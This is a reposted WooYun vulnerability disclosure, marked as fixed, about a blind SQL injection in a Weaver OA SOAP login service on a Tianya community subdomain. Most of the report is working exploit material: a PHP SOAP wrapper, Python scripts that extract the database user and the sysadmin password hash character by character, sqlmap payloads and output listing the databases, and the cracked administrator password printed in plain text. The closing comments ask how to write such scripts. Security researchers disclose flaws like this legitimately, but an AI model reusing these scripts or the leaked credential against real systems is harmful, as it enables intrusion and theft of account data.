天涯社区某分在存在SQL注入漏洞(附脚本)

admin 2017年5月2日16:58:44评论419 views字数 224阅读0分44秒阅读模式
摘要

2016-05-17: 细节已通知厂商并且等待厂商处理中
2016-05-17: 厂商已经确认,细节仅向厂商公开
2016-05-17: 厂商已经修复漏洞并主动公开,细节向公众公开

漏洞概要 关注数(14) 关注此漏洞

缺陷编号: WooYun-2016-209613

漏洞标题: 天涯社区某分在存在SQL注入漏洞(附脚本)

相关厂商: 天涯社区

漏洞作者: 路人甲

提交时间: 2016-05-17 11:56

修复时间: 2016-05-17 16:46

公开时间: 2016-05-17 16:46

漏洞类型: SQL注射漏洞

危害等级: 中

自评Rank: 10

漏洞状态: 厂商已经修复

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

4人收藏


漏洞详情

披露状态:

2016-05-17: 细节已通知厂商并且等待厂商处理中
2016-05-17: 厂商已经确认,细节仅向厂商公开
2016-05-17: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

详细说明:

问题出在http://oa.tianya.cn/services/MobileService?wsdl

checkUserLogin

code 区域
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"  xmlns:xsd="http://www.w3.org/1999/XMLSchema"  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"  xmlns:m0="http://tempuri.org/"  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="webservices.services.weaver.com.cn" xmlns:urn2="http://workflow.webservices.mobile.weaver">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:checkUserLogin>
<urn:in0>1</urn:in0>
<urn:in1>1</urn:in1>
<urn:in2>1</urn:in2>
</urn:checkUserLogin>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

in0参数

正确返回5 错误返回4

使用如下脚本

code 区域
<?php
$in0=$_GET['name'];
header("content-type:text/html;charset=utf-8");
try {
$client = new SoapClient('http://oa.tianya.cn/services/MobileService?wsdl');
$xml = "
<SOAP-ENV:Envelope xmlns:SOAP-ENV='http://schemas.xmlsoap.org/soap/envelope/' xmlns:soap='http://schemas.xmlsoap.org/wsdl/soap/' xmlns:xsd='http://www.w3.org/1999/XMLSchema' xmlns:xsi='http://www.w3.org/1999/XMLSchema-instance' xmlns:m0='http://tempuri.org/' xmlns:SOAP-ENC='http://schemas.xmlsoap.org/soap/encoding/' xmlns:urn='webservices.services.weaver.com.cn' xmlns:urn2='http://workflow.webservices.mobile.weaver'>
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:checkUserLogin>
<urn:in0>1</urn:in0>
<urn:in1>1</urn:in1>
<urn:in2>1</urn:in2>
</urn:checkUserLogin>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
";
$result=$client->checkUserLogin(array('in0'=>$in0,'in1'=>'123456','in2'=>1));
echo $result->out ;//显示结果
} catch (SOAPFault $e) {
print_r('Exception:'.$e);
}
?>

然后访问http://*.*.*.*/xx.php?name=sysadmin

根据返回结果来判断是否正确

python脚本如下:

获取用户

code 区域
#encoding=utf-8
import httplib
import string
import sys
import random
import urllib
headers = {'Content-Type':'application/x-www-form-urlencoded',
'Content-Type': 'text/html;charset=UTF-8',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0',
}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'

print 'Start to retrive user:'
user= ''
for i in range(1, 8):
for payload in payloads:

conn = httplib.HTTPConnection('127.0.0.1', timeout=150)

conn.request(method='GET',
url="/ty.php?name=1'or/**/ascii(substring(user,%s,1))=%s/**/and'a'='a"% (i, ord(payload)),

headers=headers)

resp = conn.getresponse()
html_doc = resp.read()
conn.close()

print '.',

if html_doc.count('5') > 0:

user += payload

print '/n/n[in progress]', user,

break

print '/n/n[Done] user is %s' % user

天涯社区某分在存在SQL注入漏洞(附脚本)

漏洞证明:

获取sysadmin密码

主要代码

code 区域
payloads = '0123456789ABCDEF'

print 'Start to retrive password:'
password= ''
for i in range(32):
for j in payloads:

conn = httplib.HTTPConnection('127.0.0.1', timeout=150)

conn.request(method='GET',
url="/ty.php?name=sysadmin'/**/and/**/substring((select(password)/**/from/**/hrmresourcemanager/**/where/**/loginid='sysadmin'),"+str(i+1)+",1)='"+j+"'/**/and'1'='1",

headers=headers)

resp = conn.getresponse()
html_doc = resp.read()
#print html_doc
conn.close()

print '.',

if html_doc.count('5') > 0:

password += j

print '/n/n[in progress]', password,

break

天涯社区某分在存在SQL注入漏洞(附脚本)

密码解密后为Tianya089*

天涯社区某分在存在SQL注入漏洞(附脚本)

sqlmap跑的结果

code 区域
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: name=sysadmin' AND 2387=2387 AND 'tJYN'='tJYN

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: name=sysadmin' AND 8324=(SELECT COUNT(*) FROM sysusers AS sys1,sysu
sers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6
,sysusers AS sys7) AND 'YqQh'='YqQh
---
code 区域
available databases [8]:
[*] ecology
[*] ecology_test
[*] lumigens
[*] master
[*] model
[*] msdb
[*] tempdb
[*] update_log
code 区域
select count(*) from HrmResource;:    '1557'

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2016-05-17 16:45

厂商回复:

已要求厂商处理

最新状态:

2016-05-17:已修复


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):

登陆后才能进行评分

100%

0%

0%

0%

0%


评价

  1. 2016-05-18 09:36 | 黑寡妇 ( 路人 | Rank:8 漏洞数:3 | I see you, do you see me?)

    0

    求教一下怎么自己构造Python脚本

  2. 2016-05-18 09:40 | 动后河 ( 实习白帽子 | Rank:57 漏洞数:17 | ☭)

    0

    泛微oa啊,这个漏洞不该是通用的吗

  3. 2016-05-18 09:44 | 小峰子0204 ( 路人 | Rank:14 漏洞数:9 )

    0

    .

  4. 2016-05-19 22:44 | Younge ( 路人 | Rank:4 漏洞数:4 | 平凡人)

    0

    @动后河 通用漏洞已经被提交过了,这个算案例.

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin